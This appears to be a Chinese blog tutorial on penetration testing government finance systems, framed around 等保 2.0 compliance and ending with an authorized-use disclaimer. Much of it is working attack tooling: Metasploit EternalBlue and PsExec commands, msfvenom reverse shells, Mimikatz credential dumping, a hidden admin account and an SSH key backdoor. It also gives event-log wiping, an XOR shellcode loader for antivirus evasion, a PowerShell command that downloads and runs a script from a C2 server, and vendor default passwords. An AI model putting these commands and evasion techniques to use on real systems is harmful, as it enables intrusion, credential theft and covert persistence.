安全测试与渗透测试 Skill 实战:从信息收集到等保合规

安全测试与渗透测试 Skill 实战:从信息收集到等保合规
安全测试与渗透测试 Skill 实战从信息收集到等保合规作者浅木·先生日期2026年6月16日一、开篇为什么财政系统需要真刀真枪的渗透测试在等保2.0时代财政系统作为国家关键信息基础设施承载着预算管理、国库支付、非税收入、政府采购等核心业务一旦出现安全事件轻则数据泄露重则影响国计民生。2025年等保2.0迎来重大升级——取消百分制改为符合、基本符合、不符合三级判定同时引入重大风险隐患概念。这意味着漏洞不再是扣分项而是一票否决项。我曾参与多个省市级财政系统的安全测评项目一个深刻的体会是光靠漏洞扫描器远远不够真正的安全能力来自于系统化的渗透测试 Skill 实战。本文以 SecSkills 实战框架为蓝本结合作者在财政系统一线的踩坑经验从信息收集到等保合规落地逐层拆解安全测试的全流程。二、信息收集渗透测试的地基之战渗透测试的本质是信息收集。久攻不下的系统往往不是能力不够而是信息收集不够。2.1 被动信息收集OSINT在财政系统中很多敏感信息不经意外泄。常见的手段包括# Google Hacking 查找财政系统敏感文件site:gov.cn filetype:xls 预算 支付 site:gov.cn intitle:财政inurl:login site:github.com财政局password# Whois 查询目标域名注册信息whois czj.xxx.gov.cn# 子域名收集Layer / Subfindersubfinder-dczj.xxx.gov.cn-all-osubdomains.txt除了搜索引擎Fofa、Hunter、Shodan 等网络空间搜索引擎是财政系统资产测绘的利器。下面是我在实战中常用的查询语法# Fofa 搜索财政系统title财政bodylogincountryCNbodyGRP-U8||body用友政务# Hunter 搜索财政预算系统web.title预算管理web.body财政局status_code200# Shodan 搜索暴露的远程桌面port:3389 org:Finance Bureaucountry:CN踩坑经验1某次在市级财政系统的信息收集阶段通过 GitHub 代码搜索发现开发人员将application-dev.yml上传到了公开仓库内含数据库连接串和 Redis 密码。如法炮制又在 GitLab 上发现了多份财政系统的运维手册和 SQL 备份文件。这是一个典型的供应链信息泄露在等保测评中属于高危风险项直接影响安全开发和供应链管理两个控制点的评分。建议在测试方案中纳入 GitHub/GitLab 敏感信息泄露检测作为专项测试项。2.2 主动信息收集资产测绘# Nmap 全端口服务版本OS 检测NSE 漏洞脚本nmap-sS-sV-O-p1-65535-T4--scriptvuln,http-enum,ssl-enum-ciphers-oAfiscal_scan10.88.xx.0/24# 目录爆破财政系统常见敏感路径dirsearch-uhttps://czj-web.xxx.gov.cn-ephp,asp,aspx,jsp-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt# 指纹识别识别中间件和 CMSwhatweb https://czj-web.xxx.gov.cn wappalyzer# 浏览器插件财政系统常见指纹特征用友政务 GRP-U8 / A财政核心业务系统太极华青预算管理系统龙图财政一体化平台金财工程相关中间件WebLogic、东方通 TAS踩坑经验2某财政系统使用东方通 TAS 作为中间件默认端口为9060管理控制台。Nmap 全端口扫描时如不指定-p-参数默认只扫 1000 个常见端口极容易漏掉此端口。而该管理控制台存在默认口令thanos/thanos123的普遍问题。教训财政系统渗透测试必须做全端口扫描确保不遗漏管理端口。三、漏洞发现从自动扫描到手工深挖3.1 自动化漏洞扫描# Nuclei 快速扫描基于模版的漏洞验证nuclei-llive_hosts.txt-t~/nuclei-templates/-severitycritical,high,medium-onuclei_results.txt# Xray 被动扫描结合 BurpSuite 流量xray webscan--listen127.0.0.1:7777 --html-output xray_report.html# BurpSuite 设置上游代理到 127.0.0.1:7777# Nikto Web 扫描nikto-hhttps://czj-web.xxx.gov.cn-ssl-Formathtml-onikto_report.html3.2 财政系统高频漏洞类型以财政系统为靶标以下漏洞几乎年年必出漏洞类型典型场景等保关联控制点SQL注入预算查询接口、报表导出功能安全计算环境-数据保密性未授权访问GRP-U8 接口未鉴权安全区域边界-访问控制任意文件下载附件下载参数未校验安全计算环境-入侵防范越权水平/垂直不同财政科室间的预算数据互访安全计算环境-访问控制弱口令运维后台 admin/123456安全计算环境-身份鉴别敏感信息泄露Swagger-API 文档未关闭安全建设管理-测试验收深度分析财政系统之所以常年存在这些漏洞核心原因有三系统建设周期长很多财政系统从金财工程时代2002年启动就开始建设代码基龄超过20年早期的安全设计缺失外包开发普遍财政信息化项目大量依赖第三方厂商用友、太极华青等安全代码规范执行不严测试环境与生产脱节我见过不止一个财政项目测试环境的 Swagger、Druid 监控、Actuator 接口全部开放上线时只改了数据库连接串监控接口全部遗留到了生产环境踩坑经验3某财政一体化平台的预算编制功能中POST 参数budgetYear2026改为budgetYear2025 OR 11即爆出全部历史预算数据。该接口使用了 MyBatis 的${}拼接而非#{}预编译属于典型的开发者安全意识不足。在等保 2.0 2025 版标准中这种情况可能触发「重大风险隐患」判定导致整体测评结论降级。3.3 手工漏洞验证——BurpSuite 实战自动化扫描只能覆盖已知漏洞手工深挖才是发现 0day 和逻辑漏洞的关键。# BurpSuite Intruder 爆破弱口令财政系统常见默认密码# Payload 字典admin/admin123, grp/grp123, fiscal/fiscal2026, ufida/ufida123# Repeater 手工测试越权# 将 Cookie 中的 sessionID 替换为其他用户的 session垂直越权# 修改 URL 中的 deptId1001 为 deptId1002水平越权# 绕过前端 JS 校验# 财政报表系统经常在前端做金额校验修改 POST 请求的 amount 为负数# 测试负采购逻辑——某财政支付系统曾因此被刷走 200 万实战技巧测试财政系统的逻辑漏洞时务必关注审批流绕过。很多财政系统的预算审批分为经办→审核→批准三级通过直接调用后端接口跳过中间环节可以实现越权审批。这种漏洞在自动化工具中几乎不可能被发现。3.4 SQLMap 实战# 自动检测并注入sqlmap-uhttps://czj-web.xxx.gov.cn/api/budget?deptId1001--cookieJSESSIONIDxxx--batch--level3--risk2# 获取数据库信息sqlmap-u...--dbssqlmap-u...-Dfiscal_db--tablessqlmap-u...-Dfiscal_db-Tt_user--dump# 绕过 WAF 技巧sqlmap-u...--tamperspace2comment,between,randomcase --random-agent四、漏洞利用与后渗透从 WebShell 到域控4.1 获取初始权限# Metasploit 利用 SMB 漏洞财政系统内网 Windows 服务器常见msf6use exploit/windows/smb/ms17_010_eternalblue msf6setRHOSTS10.88.xx.50 msf6setPAYLOAD windows/x64/meterpreter/reverse_tcp msf6setLHOST10.88.xx.100 msf6setLPORT4444msf6exploit# 获取 WebShell文件上传漏洞# 上传冰蝎/哥斯拉马msfvenom-pjava/jsp_shell_reverse_tcpLHOST10.88.xx.100LPORT4444-frawshell.jsp# 然后用 BurpSuite 上传4.2 内网横向移动# Meterpreter 后渗透meterpretersysinfo meterpretergetuid meterpreterrun post/windows/gather/enum_domain# 抓取凭证Mimikatzmeterpreterload kiwi meterpretercreds_all# 横向移动PsExecmsf6use exploit/windows/smb/psexec msf6setRHOSTS10.88.xx.51 msf6setSMBUser fiscal_admin msf6setSMBPass hashed_password_here msf6exploit# BloodHound 域环境分析导出信息后在本地分析cmdbloodhound-python-dfiscal.local-uuser-ppass-ns10.88.xx.10-call踩坑经验4某次财政内网渗透中通过 Web 服务器获取了初始权限但服务器上安装了360 杀毒反弹 Shell 五分钟内即被查杀。解决方案使用免杀处理——通过msfvenom --encoder x64/zutto_dekiru进行编码或者使用 Cobalt Strike 的 Artifact Kit 自定义生成 payload。在财政系统这类高安全等级环境中免杀不是可选项而是必选项。4.3 典型攻击链复盘从财政外网到内网域控为了帮助读者建立完整的攻击链思维这里还原一次真实的财政系统渗透路径外网信息收集 → 发现财政信息公示网站子域名 ↓ 目录扫描发现 /api/swagger-ui.htmlSwagger 接口文档泄露 ↓ 通过 Swagger 发现 /api/payment/export 接口存在 SQL 注入 ↓ SQLMap 获取数据库 SA 权限 → xp_cmdshell 执行系统命令 ↓ 获取 Web 服务器 SYSTEM 权限 → 转储管理员凭证 ↓ 内网横向扫描 → 发现预算管理系统服务器Windows Server 2012 R2 ↓ MS17-010 永恒之蓝漏洞利用 → 获取第二台服务器权限 ↓ Mimikatz 抓取域管理员凭证 → PsExec 登录域控 ↓ 控制整个财政域环境 → 导出所有财政数据和用户哈希这条攻击链中的每一个环节都对应了等保 2.0 的一个或多个控制点Swagger 泄露安全开发-测试验收→ SQL 注入安全计算环境-入侵防范→ 弱凭证安全计算环境-身份鉴别→ 永恒之蓝安全区域边界-入侵防范→ 域渗透安全管理中心-集中管控。这就是为什么渗透测试不能只看单点漏洞而要评估整条攻击链的可达性与影响范围。4.4 权限维持与痕迹清理# 创建隐藏账户Windowsnet user fiscal_backup$ Pssw0rd123!/add net localgroup administrators fiscal_backup$ /add# SSH 后门Linux 财政前置机echo PermitRootLogin yes/etc/ssh/sshd_configechossh-rsa AAAAB3NzaC1yc2E...~/.ssh/authorized_keys# 清理日志wevtutil cl system wevtutil cl security wevtutil cl application五、免杀实战与杀软的猫鼠游戏财政系统的服务器普遍部署了主机安全防护软件360、深信服 EDR、火绒等不做免杀的 payload 基本活不过三分钟。以下是实战中验证有效的免杀策略5.1 Shellcode 加载器分离免杀// C Shellcode 加载器VT 查杀率 3/70#includewindows.h#includestdio.hunsignedcharshellcode[]\xfc\x48\x83\xe4\xf0\xe8...;// XOR 加密后的 shellcodeintmain(){// 解密 XORcharkeyX;for(inti0;isizeof(shellcode);i){shellcode[i]^key;}void*execVirtualAlloc(0,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);memcpy(exec,shellcode,sizeof(shellcode));((void(*)())exec)();return0;}5.2 PowerShell 内存加载# 从远程服务器加载并内存执行绕过文件扫描powershell-nop-w hidden-cIEX (New-Object Net.WebClient).DownloadString(http://your-c2-server/ps.ps1)5.3 混淆编码技巧# Base64 多重编码msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOSTx.x.x.xLPORT4444-fbase64# 使用 Veil 框架生成免杀 payloadveil Veiluse1# EvasionVeiluse13# Powershell踩坑经验5不要迷信某一种免杀方案。上周能过的方案这周杀软更新病毒库后可能就废了。建议准备 3-4 种不同免杀思路分离加载器、白名单 Dll 劫持、vba 宏、powershell 混淆在实战中轮换使用。六、报告交付与等保合规落地渗透测试的最终价值体现在报告。财政系统的等保测评渗透测试报告需要面向三类读者6.1 报告核心结构1. 执行摘要给局领导看 - 一句话结论系统整体安全风险等级 - 高危漏洞 TOP 3 - 是否符合等保三级要求 2. 漏洞详情给技术科看 - 漏洞名称/位置/危害等级 - 复现步骤含截图、请求包 - CVSS 3.1 评分 - 修复建议具体到配置命令 3. 合规对照给测评机构看 - GB/T 22239-2019 对应控制点 - 整改前后对比6.2 等保 2.0 与渗透测试的衔接点根据 GB/T 22239-2019三级系统以下控制点与渗透测试强相关等保控制点渗透测试验证项常见不符合项身份鉴别弱口令、默认口令测试GRP-U8 admin/123456访问控制越权、未授权访问数据权限未按科室隔离入侵防范SQL注入、文件上传预算查询接口未参数化数据保密性敏感数据传输明文财政报表 HTTP 明文传输安全审计日志记录完整性未记录操作人 IP 和时间剩余信息保护敏感信息泄露Swagger 文档未关闭6.3 2025 版等保新规特别提醒2025 年等保新标准明确要求渗透测试报告必须标注 APT 攻击检测点验证横向移动阻断和数据外传监控能力重大风险隐患判定即使符合率超过 90%若存在 SQL 注入等高危漏洞仍判定为基本符合财政三级系统每年必须复测且保护工作方案需在每年 12 月 31 日前提交属地公安机关七、结语安全测试没有银弹。从信息收集到免杀实战从漏洞利用到等保合规每一个环节都可能决定一次渗透测试的成败。对我而言财政系统的安全测试更有一种特殊的责任感——每一行代码的安全关联的是国家财政资金的安全。最后送给大家一句话“Attack is the best defense, but compliance is the baseline.”攻击思维让我们找到漏洞合规意识让我们守住底线。本文由浅木·先生原创撰写基于 SecSkills 实战框架与等保 2.0 标准。文中命令仅供授权测试使用未经授权对目标系统进行渗透测试可能违反《网络安全法》第二十七条。